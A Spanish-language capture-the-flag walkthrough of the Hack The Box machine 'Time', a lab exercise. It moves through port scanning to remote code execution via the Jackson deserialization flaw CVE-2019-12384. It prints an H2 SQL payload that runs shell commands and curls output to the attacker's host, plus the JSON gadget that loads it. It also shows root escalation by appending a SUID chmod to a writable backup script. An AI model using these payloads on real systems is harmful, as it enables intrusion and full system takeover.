Time expone una funcionalidad para validar estructuras JSON, descubrimos una vulnerabilidad que permite ejecutar comandos con lo que obtuvimos una shell. Escalamos privilegios tras encontrar un servicio que ejecuta un backup con un script en bash.
Nombre |
Time |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.10.214 |
Maker |
egotisticalSW felamos |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[4.7, 5.2, 6.4, 3.6, 4.8],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[5, 7, 5, 5, 3],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
NMAP
Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# Nmap 7.91 scan initiated Fri Mar 5 18:37:08 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.10.214
Warning: 10.10.10.214 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.214 (10.10.10.214)
Host is up (0.15s latency).
Not shown: 35261 closed ports, 30272 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Fri Mar 5 18:38:23 2021 -- 1 IP address (1 host up) scanned in 74.32 seconds
# Nmap 7.91 scan initiated Fri Mar 5 18:39:16 2021 as: nmap -p 22,80 -sV -sC -oN serviceports 10.10.10.214
Nmap scan report for 10.10.10.214 (10.10.10.214)
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 5 18:39:27 2021 -- 1 IP address (1 host up) scanned in 11.16 seconds
|
HTTP
Encontramos una pagina web en el puerto 80 con lo que parece ser un validador para json.
RUSTBUSTER
Utilizamos rustbuster para busqueda de directorios y archivos, pero solo encontramos los directorios y archivos que pertenecen a la pagina principal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
GET 200 OK http://10.10.10.214/
GET 403 Forbidden http://10.10.10.214/.html
GET 403 Forbidden http://10.10.10.214/.php
GET 200 OK http://10.10.10.214/index.php
GET 301 Moved Permanently http://10.10.10.214/images
=> http://10.10.10.214/images/
GET 301 Moved Permanently http://10.10.10.214/css
=> http://10.10.10.214/css/
GET 301 Moved Permanently http://10.10.10.214/js
=> http://10.10.10.214/js/
GET 301 Moved Permanently http://10.10.10.214/javascript
=> http://10.10.10.214/javascript/
GET 301 Moved Permanently http://10.10.10.214/vendor
=> http://10.10.10.214/vendor/
GET 301 Moved Permanently http://10.10.10.214/fonts
=> http://10.10.10.214/fonts/
GET 200 OK http://10.10.10.214/
GET 403 Forbidden http://10.10.10.214/.html
GET 403 Forbidden http://10.10.10.214/.php
|
JACKSON RCE
Ingresamos un valor en el validador ({"a":"b"}
) para generar un error y nos mostró que utiliza el paquete fasterxml
el cual tiene librerias y extensiones utiles, en el caso del error mostrado por el validador vemos que la libreria es Jackson.
1
|
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unexpected close marker '}': expected ']' (for root starting at [Source: (String)"}"; line: 1, column: 0])
|
Investigamos vulnerabilidades y exploits para Jackson, y encontramos varios CVEs, por lo que intentamos con diferentes hasta que encontramos el correcto: CVE-2019-12384 Jackson RCE And SSRF. Utilizamos el archivo inject.sql
para ejecutar un comando y enviar el resultado a nuestra maquina. Se inicio un mini servidor con python en el puerto 8000 para que el PoC o estructura json descargue el archivo que contiene nuestro comando y lo ejecute.
1
2
3
4
5
6
|
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('curl -d `id` -X POST http://10.10.10.148:1234/')
|
En nuestra maquina configuramos el puerto 1234
para obtener el resultado. En la estructura json cambiamos localhost por nuestra direccion IP, e ingresamos esta estructura al validador.
1
2
3
4
5
6
|
[
"ch.qos.logback.core.db.DriverManagerConnectionSource",
{
"url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http:\/\/10.10.10.148:8000\/inject.sql'"
}
]
|
PERICLES - USER
Logrando obtener el resultado de la ejecucion del comando.
Ejecutamos una shell inversa y logramos obtener nuestra shell y flag user.txt
.
PRIVILEGE ESCALATION
Ejecutamos pspy
y encontramos que hay un servicio que es reiniciado por el usuario root (web_backup.service
) con algun cron, y vemos un script que podria estar relacionado con este, /usr/bin/timer_backup.sh
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
2021/03/06 01:15:39 CMD: UID=0 PID=278240 | /lib/systemd/systemd-udevd
2021/03/06 01:15:39 CMD: UID=0 PID=278239 | /lib/systemd/systemd-udevd
2021/03/06 01:15:39 CMD: UID=0 PID=278238 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278255 | /usr/bin/systemctl restart web_backup.service
2021/03/06 01:15:49 CMD: UID=0 PID=278267 | /sbin/init auto automatic-ubiquity noprompt
2021/03/06 01:15:49 CMD: UID=0 PID=278266 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278265 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278264 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278263 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278262 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278261 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278260 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278259 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278258 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278257 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278256 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278268 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278269 | /bin/bash /usr/bin/timer_backup.sh
2021/03/06 01:15:49 CMD: UID=0 PID=278277 | /lib/systemd/systemd-udevd
2021/03/06 01:15:49 CMD: UID=0 PID=278276 | /lib/systemd/systemd-udevd
|
Vemos que el servicio tiene configurado el script timer_backup.sh
para ser ejecutado cuando el servicio es iniciado.
1
2
3
4
5
6
|
#/etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website
[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
|
El usuario pericles
tiene permisos y es el dueño del script por lo que podemos ejecutar comandos como usuario root.
1
2
3
|
-bash-5.0$ ls -lah /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 623 Apr 3 14:32 /usr/bin/timer_backup.sh
-bash-5.0$
|
En el script agregamos el comando para darle permisos SUID a bash
.
1
|
echo "chmod u+s /bin/bash" >> /usr/bin/timer_backup.sh
|
Esperamos a que se vuelva ejecutar el script, y ejecutamos bash -p
lo que nos devuelve una shell como root y logramos obtener la flag root.txt
.
SERVICE
Enumeramos los cron para usuario root pero no aparece ninguno relacionado al servicio web_backup.service
.
1
2
3
|
root@time:~# crontab -l
no crontab for root
root@time:~#
|
Enumeramos los servicios activos y encontramos un temporizador, el cual contiene la configuracion para controlar el servicio timer_backup.service
el cual se activa cada 10 segundos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
root@time:~# systemctl|grep active
[... REDACTED ...]
timer_backup.timer loaded active waiting Backup of the website
186 loaded units listed. Pass --all to see loaded but inactive units, too.
root@time:~# cat /etc/systemd/system/timer_backup.timer
[Unit]
Description=Backup of the website
Requires=timer_backup.service
[Timer]
Unit=timer_backup.service
#OnBootSec=10s
#OnUnitActiveSec=10s
OnUnitInactiveSec=10s
AccuracySec=1ms
[Install]
WantedBy=timers.target
|
Finalmente vemos el servicio timer_backup.service
el cual reinicia el servicio web_backup.service
con el cual logramos obtener root.
1
2
3
4
5
6
7
8
|
#/etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target
[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service
|